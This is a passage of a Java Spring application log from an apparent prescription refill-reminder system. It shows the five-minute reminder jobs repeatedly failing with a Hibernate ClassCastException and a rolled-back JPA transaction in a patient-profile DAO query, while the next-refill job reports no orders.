com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 00:25:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 00:25:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 00:25:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 00:25:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 00:25:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 00:25:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 00:25:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 00:30:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 00:30:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 00:30:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 00:30:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 00:30:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 00:30:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 00:30:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 00:30:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 00:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:30:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 00:30:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 00:35:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 00:35:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 00:35:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 00:35:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 00:35:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 00:35:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 00:35:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 00:35:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 00:35:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 00:35:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 00:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:40:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 00:40:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 00:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 00:40:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 00:40:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 00:40:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 00:40:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 00:40:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 00:40:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 00:40:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 00:40:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 00:45:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 00:45:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 00:45:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) 